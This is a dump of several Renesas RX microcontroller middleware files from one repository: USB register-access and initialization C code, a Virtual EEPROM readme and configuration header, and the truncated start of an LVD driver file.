"/r_usb_basic/src/HW/peri/r_usb_preg_access.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_preg_access.c\n* Description : USB Peripheral signal control code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP)\n\n/************/\n/* SYSCFG */\n/************/\n\n/******************************************************************************\nFunction Name : usb_preg_set_dprpu\nDescription : Set DPRPU-bit SYSCFG register.\n : (Enable D+Line pullup when PeripheralController function is selected) \nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_preg_set_dprpu( USB_UTR_t *ptr )\n{\n#ifdef LSFUNC\n ptr->ipp->SYSCFG.WORD |= USB_DMRPU;\n#else\n ptr->ipp->SYSCFG.WORD |= USB_DPRPU;\n#endif\n} /* eof usb_preg_set_dprpu() */\n\n/******************************************************************************\nFunction Name : usb_preg_clr_dprpu\nDescription : Clear DPRPU-bit of the SYSCFG register.\n : (Disable D+Line pullup when PeripheralController function is \n : selected.)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_preg_clr_dprpu( USB_UTR_t *ptr )\n{\n#ifdef LSFUNC\n ptr->ipp->SYSCFG.WORD &= ~USB_DMRPU;\n#else\n ptr->ipp->SYSCFG.WORD &= ~USB_DPRPU;\n#endif\n} /* eof usb_preg_clr_dprpu() */\n\n/************/\n/* SYSSTS0 */\n/************/\n\n/**************/\n/* DVSTCTR0 */\n/**************/\n/******************************************************************************\nFunction Name : usb_preg_set_wkup\nDescription : Set WKUP-bit DVSTCTR register.\n : (Output Remote wakeup signal when PeripheralController function is selected)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_preg_set_wkup( USB_UTR_t *ptr )\n{\n ptr->ipp->DVSTCTR0.WORD |= USB_WKUP;\n} /* eof usb_preg_set_wkup() */\n\n/**************/\n/* TESTMODE */\n/**************/\n\n/************/\n/* PINCFG */\n/************/\n\n/**********************************/\n/* DMA0CFG, DMA1CFG for 597ASSP */\n/**********************************/\n\n/***************************/\n/* CFIFO, D0FIFO, D1FIFO */\n/***************************/\n\n/**********************************/\n/* CFIFOSEL, D0FIFOSEL, D1FIFOSEL */\n/**********************************/\n\n/**********************************/\n/* CFIFOCTR, D0FIFOCTR, D1FIFOCTR */\n/**********************************/\n\n/*************/\n/* INTENB0 */\n/*************/\n/******************************************************************************\nFunction Name : usb_preg_set_enb_rsme\nDescription : Enable interrupt from RESUME\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_preg_set_enb_rsme( USB_UTR_t *ptr )\n{\n ptr->ipp->INTENB0.WORD |= USB_RSME;\n} /* eof usb_preg_set_enb_rsme() */\n\n/******************************************************************************\nFunction Name : usb_preg_clr_enb_rsme\nDescription : Disable interrupt from RESUME\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_preg_clr_enb_rsme( USB_UTR_t *ptr )\n{\n ptr->ipp->INTENB0.WORD &= ~USB_RSME;\n} /* eof usb_preg_set_enb_rsme() */\n\n/*************/\n/* INTENB1 */\n/*************/\n\n/*************/\n/* BRDYENB */\n/*************/\n\n/*************/\n/* NRDYENB */\n/*************/\n\n/*************/\n/* BEMPENB */\n/*************/\n\n/*************/\n/* SOFCFG */\n/*************/\n\n/*************/\n/* INTSTS0 */\n/*************/\n/******************************************************************************\nFunction Name : usb_preg_clr_sts_resm\nDescription : Clear interrupt status of RESUME.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_preg_clr_sts_resm( USB_UTR_t *ptr )\n{\n ptr->ipp->INTSTS0.WORD = (uint16_t)~USB_RESM;\n} /* eof usb_preg_clr_sts_resm() */\n\n/******************************************************************************\nFunction Name : usb_preg_clr_sts_dvst\nDescription : Clear Device State Transition interrupt flag. \nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_preg_clr_sts_dvst( USB_UTR_t *ptr )\n{\n ptr->ipp->INTSTS0.WORD = (uint16_t)~USB_DVST;\n} /* eof usb_preg_clr_sts_dvst() */\n\n/******************************************************************************\nFunction Name : usb_preg_clr_sts_ctrt\nDescription : Clear Control Transfer Stage Transition interrupt flag.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_preg_clr_sts_ctrt( USB_UTR_t *ptr )\n{\n ptr->ipp->INTSTS0.WORD = (uint16_t)~USB_CTRT;\n} /* eof usb_preg_clr_sts_dvst() */\n\n/******************************************************************************\nFunction Name : usb_preg_clr_sts_valid\nDescription : Clear the Setup Packet Reception interrupt flag.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_preg_clr_sts_valid( USB_UTR_t *ptr )\n{\n ptr->ipp->INTSTS0.WORD = (uint16_t)~USB_VALID;\n} /* eof usb_preg_clr_sts_valid() */\n\n/*************/\n/* INTSTS1 */\n/*************/\n\n/************/\n/* BRDYSTS */\n/************/\n\n/************/\n/* NRDYSTS */\n/************/\n\n/************/\n/* BEMPSTS */\n/************/\n\n/************/\n/* FRMNUM */\n/************/\n\n/************/\n/* USBADDR */\n/************/\n\n/************/\n/* USBREQ */\n/************/\n\n/************/\n/* USBVAL */\n/************/\n\n/************/\n/* USBINDX */\n/************/\n\n/************/\n/* USBLENG */\n/************/\n\n/************/\n/* DCPCFG */\n/************/\n\n/************/\n/* DCPMAXP */\n/************/\n\n/************/\n/* DCPCTR */\n/************/\n/******************************************************************************\nFunction Name : usb_preg_clr_sts_valid\nDescription : Enable termination of control transfer status stage.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : none\n******************************************************************************/\nvoid usb_preg_set_ccpl( USB_UTR_t *ptr )\n{\n ptr->ipp->DCPCTR.WORD |= USB_CCPL;\n} /* eof usb_preg_set_ccpl() */\n\n/************/\n/* PIPESEL */\n/************/\n\n/************/\n/* PIPECFG */\n/************/\n\n/************/\n/* PIPEBUF */\n/************/\n\n/************/\n/* PIPEMAXP */\n/************/\n\n/************/\n/* PIPEPERI */\n/************/\n\n/********************/\n/* DCPCTR, PIPEnCTR */\n/********************/\n\n/************/\n/* PIPEnTRE */\n/************/\n\n/************/\n/* PIPEnTRN */\n/************/\n\n/************/\n/* DEVADDn */\n/************/\n\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n/************/\n/* PHYSLEW */\n/************/\n\n/******************************************************************************\nFunction Name : usb_preg_write_physlew\nDescription : Set the PHYSLEW register's for funcrion mode\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_preg_write_physlew( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_0)\n {\n ptr->ipp->PHYSLEW.LONG = 0x00000005;\n }\n} /* eof usb_preg_write_physlew() */\n\n\n/************/\n/* BCCTRL */\n/************/\n\n/******************************************************************************\nFunction Name : usb_preg_set_bcctrl\nDescription : Set BCCTRL's bits.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : \nReturn value : none\n******************************************************************************/\nvoid usb_preg_set_bcctrl( USB_UTR_t *ptr, uint16_t data )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->BCCTRL.WORD |= data;\n }\n} /* eof usb_preg_set_bcctrl() */\n\n/******************************************************************************\nFunction Name : usb_preg_clr_bcctrl\nDescription : Clear BCCTRL's bits.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : \nReturn value : none\n******************************************************************************/\nvoid usb_preg_clr_bcctrl( USB_UTR_t *ptr, uint16_t data )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->BCCTRL.WORD &= ~data;\n }\n} /* eof usb_preg_clr_bcctrl() */\n\n/******************************************************************************\nFunction Name : usb_preg_set_vdpsrce\nDescription : Set VDPSRCE bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_preg_set_vdpsrce( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->BCCTRL.WORD |= USB_VDPSRCE;\n }\n} /* eof usb_preg_set_vdpsrce() */\n\n/******************************************************************************\nFunction Name : usb_preg_clr_vdpsrce\nDescription : Clear VDPSRCE bits.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_preg_clr_vdpsrce( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->BCCTRL.WORD &= ~USB_VDPSRCE;\n }\n} /* eof usb_preg_clr_vdpsrce() */\n\n/******************************************************************************\nFunction Name : usb_preg_set_idmsinke\nDescription : Set IDMSINKE bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_preg_set_idmsinke( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->BCCTRL.WORD |= USB_IDMSINKE;\n }\n} /* eof usb_preg_set_idmsinke() */\n\n/******************************************************************************\nFunction Name : usb_preg_clr_idmsinke\nDescription : Clear IDMSINKE bits.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_preg_clr_idmsinke( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->BCCTRL.WORD &= ~USB_IDMSINKE;\n }\n} /* eof usb_preg_clr_idmsinke() */\n\n/******************************************************************************\nFunction Name : usb_preg_set_idpsrce\nDescription : Set IDPSRCE bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_preg_set_idpsrce( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->BCCTRL.WORD |= USB_IDPSRCE;\n }\n} /* eof usb_preg_set_idpsrce() */\n\n/******************************************************************************\nFunction Name : usb_preg_clr_idpsrce\nDescription : Clear IDPSRCE bits.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_preg_clr_idpsrce( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->BCCTRL.WORD &= ~USB_IDPSRCE;\n }\n} /* eof usb_preg_clr_idpsrce() */\n#endif /* #if defined(BSP_MCU_RX64M) | (BSP_MCU_RX71M) */\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) */\n\n/******************************************************************************\nEnd of file\n******************************************************************************/\n\n" }, { "alpha_fraction": 0.6141807436943054, "alphanum_fraction": 0.650271475315094, "avg_line_length": 25.974138259887695, "blob_id": "784557977d6014237429a883b1bda0da948d4ad7", "content_id": "5f7276439021819ab9b8a26a901f26ac427a77d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 3131, "license_type": "no_license", "max_line_length": 120, "num_lines": 116, "path": "/r_vee/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "PLEASE REFER TO THE APPLICATION NOTE FOR THIS MIDDLEWARE FOR MORE INFORMATION\n\nRenesas Virtual EEPROM for RX\n=============================\n\nDocument Number \n---------------\nR01AN0724EU0170\n\nVersion\n-------\nv1.70\n\nOverview\n--------\nThe Virtual EEPROM project allows user to use their data flash as they would an EEPROM\n\nFeatures\n--------\n* Can write with 1-byte granularity no matter what the actual granularity of your data flash is\n* Wear leveling on data flash to increase longevity\n* Read/Write by sending in a structure to API\n* Use background operation (BGO) functionality of MCUs so calls do not block user application\n* Configurable vEE Sectors if you want to separate records (e.g. separate often-written records from not often-written)\n* Automatically recovers from reset/power down during programs & erases\n* Adapts to different types of data flash\n\nSupported MCUs\n--------------\n* RX621, RX62N Group\n* RX62T Group\n* RX62G Group\n* RX630 Group\n* RX631, RX63N Group\n* RX63T Group\n* RX210 Group\n\nBoards Tested On\n----------------\n* RSKRX62N\n* RSKRX62T\n* RSKRX62G\n* RDKRX62N\n* RSKRX630\n* RSKRX63N\n* RDKRX63N\n* RSKRX63T_64PIN\n* RSKRX63T_144PIN\n* RSKRX210\n\nLimitations\n-----------\n* Not all functions are re-entrant but the code does protect against multiple concurrent function calls.\n* When using this middleware it is recommended that the user reserve the entire data flash for VEE operations. If this \n is not done then the user will need to take necessary precautions to ensure that their own data flash operations\n do not interfere with VEE data flash operations.\n* After performing a VEE read the function R_VEE_ReleaseState() must be called to perform any more VEE operations. This \n is done to ensure safety during data flash operations.\n\nPeripherals Used Directly\n-------------------------\n* none\n\nRequired Packages\n-----------------\n* r_flash_api_rx - Simple Flash API for RX (R01AN0544EU)\n\nHow to add to your project\n--------------------------\n* Add r_vee.c to your project\n* Add an include path to the 'r_vee' directory \n* Add an include path to the 'r_vee\\src' directory \n* Add the source file for your MCU port to your project (e.g. r_vee_rx62x.c)\n* Copy r_vee_config_reference.h from 'ref' directory to your desired location and rename to r_vee_config.h.\n* Configure middleware through r_vee_config.h.\n* Add a #include for r_vee_if.h to any source files that need to use the VEE API\n\nToolchain(s) Used\n-----------------\n* Renesas RX v1.02\n\nFile Structure\n--------------\nr_vee\n| readme.txt\n| r_vee_if.h\n|\n+---demo\n| vee_demo_main.c\n|\n+---doc\n| r01an0724eu0170_rx.pdf\n|\n+---ref\n| r_vee_config_reference.h\n|\n\\---src\n | r_vee.c\n | r_vee.h\n | r_vee_target.h\n | r_vee_types.h\n |\n \\---targets\n +---rx21x\n | r_vee_config_rx21x_8kb.h\n | r_vee_rx21x.c\n |\n +---rx62x\n | r_vee_config_rx62x_32kb.h\n | r_vee_config_rx62x_8kb.h\n | r_vee_rx62x.c\n |\n \\---rx63x\n r_vee_config_rx63x_32kb.h\n r_vee_config_rx63x_8kb.h\n r_vee_rx63x.c\n\n\n" }, { "alpha_fraction": 0.4795519709587097, "alphanum_fraction": 0.49570199847221375, "avg_line_length": 47.289306640625, "blob_id": "42482e89e8bb52d52ce2189f73ca972d83849bac", "content_id": "68f10e447ffd7eadf4a72b085cd2a5498164a684", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7678, "license_type": "no_license", "max_line_length": 120, "num_lines": 159, "path": "/r_usb_basic/src/driver/comm/r_usb_cstdfunction.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_cstdfunction.c\n* Description : USB Host and Peripheral common low level functions.\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n#if defined(BSP_MCU_RX64M)\n #if( USB_SPEED_MODE_PP == USB_HS_PP )\n #error \"You can not set USB_HS_PP in USB_SPEED_MODE_PP of r_usb_basic_config.h when using RX64M.\"\n #endif\n#endif\n\n\n#if( USB_FUNCSEL_USBIP1_PP != USB_HOST_PP )\n #if defined( USB_HOST_BC_ENABLE )\n #error \"You can not set USB_HS_ENABLE to USB_SPEED_MODE since USB_FUNCSELIP1_PP is not USB_HOST_PP \\\n in r_usb_basic_config.h.\"\n #endif\n#endif\n\n#if( USB_FUNCSEL_USBIP1_PP == USB_HOST_PP )\n #if !defined( USB_HOST_BC_ENABLE )\n #if defined( USB_BC_DCP_ENABLE )\n #error \"You can not define USB_BC_DCP_ENABLE since USB_HOST_BC_ENABLE is not defined \\\n in r_usb_basic_config.h.\"\n #endif\n #endif\n#endif\n\n#if defined(BSP_MCU_RX64M)\n #if defined(USB_HS_EL_TEST)\n #error \"You can not enable USB_HS_EL_TEST in r_usb_basic_config.h when using RX64M.\"\n #endif\n#endif\n\n#if !defined(USB_HOST_COMPLIANCE_MODE)\n #if defined(USB_HS_EL_TEST)\n #error \"You can not enable USB_HS_EL_TEST in r_usb_basic_config.h \\\n when USB_HOST_COMPLIANCE_MODE is disabled.\"\n #endif\n#endif\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\n/******************************************************************************\nRenesas Abstracted common standard function functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_set_usbip_mode_sub\nDescription : USB init depending on mode (host peripharal). \nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t function : HOST/PERI\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_set_usbip_mode_sub(USB_UTR_t *ptr, uint16_t function)\n{\n\n#if USB_PORTSEL_PP == USB_2PORT_PP\n uint16_t else_connect_inf;\n#endif /* USB_PORTSEL_PP == USB_2PORT_PP */\n\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n usb_cstd_set_sofcfg_intl( ptr );\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n \n if (function == (uint16_t)USB_PERI)\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_PERI_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n usb_creg_clr_drpd( ptr, USB_PORT0 );\n usb_preg_write_physlew( ptr );\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n /* Interrupt Enable */\n usb_cstd_BerneEnable(ptr);\n usb_pstd_InitConnect(ptr);\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_PERI_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP */\n }\n else\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n usb_creg_set_dcfm( ptr );\n usb_creg_set_drpd( ptr, USB_PORT0 );\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n usb_hreg_write_physlew( ptr );\n#endif /* #if defined(BSP_MCU_RX64M) | (BSP_MCU_RX71M) */\n#if USB_PORTSEL_PP == USB_2PORT_PP\n usb_creg_set_drpd( ptr, USB_PORT1 );\n /* Set CNEN bit for RX64M */\n usb_creg_set_cnen( ptr );\n#endif /* USB_PORTSEL_PP == USB_2PORT_PP */\n /* Interrupt Enable */\n usb_cstd_BerneEnable(ptr);\n /* Wait 10us */\n usb_cpu_Delay1us((uint16_t)10);\n#if USB_PORTSEL_PP == USB_2PORT_PP\n /* Interrupt Enable */\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n usb_hstd_OvrcrEnable(ptr, USB_PORT0);\n usb_hstd_OvrcrEnable(ptr, USB_PORT1);\n#endif /* #if defined(BSP_MCU_RX64M) | (BSP_MCU_RX71M) */\n /* Vbus ON and Check Connect */\n else_connect_inf = usb_hstd_InitConnect(ptr, USB_PORT0, USB_DETACHED );\n usb_hstd_InitConnect(ptr, USB_PORT1, else_connect_inf);\n#else /* USB_PORTSEL_PP == USB_2PORT_PP */\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n /* Interrupt Enable */\n usb_hstd_OvrcrEnable(ptr, USB_PORT0);\n#endif /* #if defined(BSP_MCU_RX64M) | (BSP_MCU_RX71M) */\n /* Vbus ON and Check Connect */\n usb_hstd_InitConnect(ptr, USB_PORT0, USB_DETACHED );\n#endif /* USB_PORTSEL_PP == USB_2PORT_PP */\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_set_usbip_mode_sub\n******************************************************************************/\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.6246973276138306, "alphanum_fraction": 0.6343825459480286, "avg_line_length": 73.54166412353516, "blob_id": "0e36f436772b6827b73aa243c069c24efd470726", "content_id": "b652787fda4af94164fe5a1794ef773fe71a7cc5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5369, "license_type": "no_license", "max_line_length": 121, "num_lines": 72, "path": "/r_vee/ref/r_vee_config_reference.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_vee_config.h\n* Description : Virtual EEPROM user configuration header file\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 12.07.2011 1.00 First Release\n* : 03.01.2012 1.50 Updated for internal CS and for FIT. Added support for RX63x Groups.\n* : 14.09.2012 1.60 Updated for FIT v0.7 Spec. Fixed bug found when reset occurred after FULL flag was \n* written and before NEXTUP was written. VEE now handles this event.\n***********************************************************************************************************************/\n\n#ifndef VEE_USER_CONFIG_H\n#define VEE_USER_CONFIG_H\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n/* Number of VEE Sectors to be used. When setting this value there must be an associated sector configuration in the\n header file r_vee_config_*MCU Group*.h. For example, if this is set to 2, and the RX62N is chosen, then there must\n be a 2 sector configuration in r_vee_config_rx62x.h. If this file does not contain a sector configuration for the\n chosen amount of sectors then it should be created. This file can also be editted to change the size of sectors. */\n#define VEE_NUM_SECTORS 1\n\n/* The number of unique records to be used. It is not recommended to put many more entries than you will use since there \n is a cache entry for each possible unique ID. If you change this value from the default (8) then you need to define\n a new g_vee_RecordLocations[] array in the r_vee_config_*MCU Group*.h header file for your port. */\n#define VEE_MAX_RECORD_ID (8)\n\n/* This option allows the user to select to ignore record writes where the record being written is the same as the \n record already stored in the VEE. This will save space but takes extra time to check when performing a write. */\n#define VEE_IGNORE_DUPLICATE_WRITES \n\n/* This configuration value lets you choose whether you want to fill the cache all at once, or one record at a time. \n If this DEFINE is uncommmented then when a read is performed and a record is not found in the cache (e.g. first read \n after reset) then all the records will be searched for and the entire cache will be filled in at once. If this is \n commented out then only the record which was requested will be searched for. This comes down to do you want to \n spread out the time required for searching or do you want to get it all of out of the way at the very beginning \n so that subsequent reads will not require searching? */\n#define VEE_CACHE_FILL_ALL\n\n/* Lets the user choose whether to use the default R_VEE_GenerateCheck() and vee_check_record() functions or whether \n they want to write their own. For example, if the user wanted to use a Checksum instead of the supplied CRC-16 check \n then they could comment out this define and write their own functions. If the user writes their own function they \n must still use the same function name and arguments. */\n#define VEE_USE_DEFAULT_CHECK_FUNCTIONS \n\n/* If this is defined then when a VEE operation finishes the defined function will be called. For example, if you have \n this:\n #define VEE_CALLBACK_FUNCTION Foo \n then when a program finishes the function Foo() will be called.\n */\n#define VEE_CALLBACK_FUNCTION VEE_OperationDone_Callback \n\n#endif //VEE_USER_CONFIG_H\n\n\n" }, { "alpha_fraction": 0.4969022572040558, "alphanum_fraction": 0.5212359428405762, "avg_line_length": 47.9432258605957, "blob_id": "e82fb1b716fcaacba80ae97b5d8622e8d2fc4289", "content_id": "4e6b2ae7c6f314b7f8a8ba98cdf2fdf01eaeeac6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 37931, "license_type": "no_license", "max_line_length": 136, "num_lines": 775, "path": "/r_lvd_rx/src/r_lvd_rx.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2014 Renesas 